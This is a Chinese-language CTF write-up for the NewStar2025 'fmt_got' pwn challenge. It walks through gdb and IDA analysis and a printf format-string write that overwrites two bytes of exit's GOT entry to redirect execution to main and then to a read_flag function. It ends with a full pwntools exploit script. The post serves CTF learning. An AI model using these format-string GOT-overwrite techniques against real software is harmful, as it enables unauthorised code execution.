PWN (NewStar2025)Pwn-Week4-fmt&got GHSC 2026-10-31 2026-10-31 以後newstar2025想复刻都單獨出 , 方便標籤
最近一時興起复習了一下pwn , 巨難….. , 還把L1nk的模板偷下來自己用了 , 回來打L1nk出的題 , fmt 和 got 如題 , 大概是要做把printf_got 改成 system_got表 , 利用printf 改2字節:
開了canary 和 NX
先把 ld 和 libc 連一下:
1 2 3 4 5 6 7 patchelf --set-interpreter \ /home/ghsc/NewStar2025/pwn/fmt_got/ld-linux-x86-64.so.2 \ fmt_got patchelf --replace-needed libc.so.6 \ /home/ghsc/NewStar2025/pwn/fmt_got/libc.so.6 \ fmt_got
去ida分析一下:
不難看出read 和 printf 分別都是我們的目標:
gdb分析一下canary 在 rbp-0x8上 :
ni到printf上 : fmtarg 0x7fffffffcc88
可以canary 到: %39$p
第一波,猛攻exit 之後就是要找到got表了 : 因為是canary來泄露地址所以要利用exit.got 表來改成 main
不難看出 : exit : 0x403430 main : 0x401346 要改兩字節:
payload要先改了main再泄露canary , 再用onegad來打(猜的) , 因為填main前已填入了34個字 , 所以改main_low時要-34才可以把payload發送的東西變回main_low
1 2 3 4 5 6 main_low = elf.sym['main' ]&0xffff exit_got = elf.got['exit' ] ru(b'\n> ' ) payload = f'%1${main_low - 34 } c%12$hn' .encode() + p64(exit_got) s(payload)
可以看到成功改了exit的got表後兩字節 , 死亡回歸來了
第一波(re),改成read flag 再看清楚一下ida , 有一個l1nk哥留下的read_flag : 0x40128e
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 unsigned __int64 read_flag() { FILE *stream; // [rsp+8h] [rbp-58h] char s[72]; // [rsp+10h] [rbp-50h] BYREF unsigned __int64 v3; // [rsp+58h] [rbp-8h] v3 = __readfsqword(0x28u); stream = fopen("flag", "r"); if ( !stream ) { puts("flag not found! Contact admin if you see this on the remote server."); exit(1); } fgets(s, 64, stream); printf("How you do that... here is the flag: %s\n", s); fclose(stream); return v3 - __readfsqword(0x28u); }
1 2 3 4 5 6 main_low = elf.sym['read_flag' ]&0xffff exit_got = elf.got['exit' ] ru(b'\n> ' ) payload = f'%1${main_low - 34 } c%12$hn' .encode() + p64(exit_got) s(payload)
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *BIN_PATH = './fmt_got' LIBC_PATH = './libc.so.6' elf = context.binary = ELF(BIN_PATH, checksec=False ) libc = ELF(LIBC_PATH, checksec=False ) context.os = 'linux' context.log_level = 'debug' if args.DEBUG else 'info' context.terminal = ['tmux' , 'splitw' , '-h' ] choice = 0x000 if choice: p = remote(HOST,PORT) else : p = process(BIN_PATH) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (base ): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,gdbscript=cmd) commend = ''' b *0x40138C ''' read_flag = elf.sym['read_flag' ]&0xffff exit_got = elf.got['exit' ] ru(b'\n> ' ) payload = f'%1${read_flag - 34 } c%12$hn' .encode() + p64(exit_got) s(payload) itr()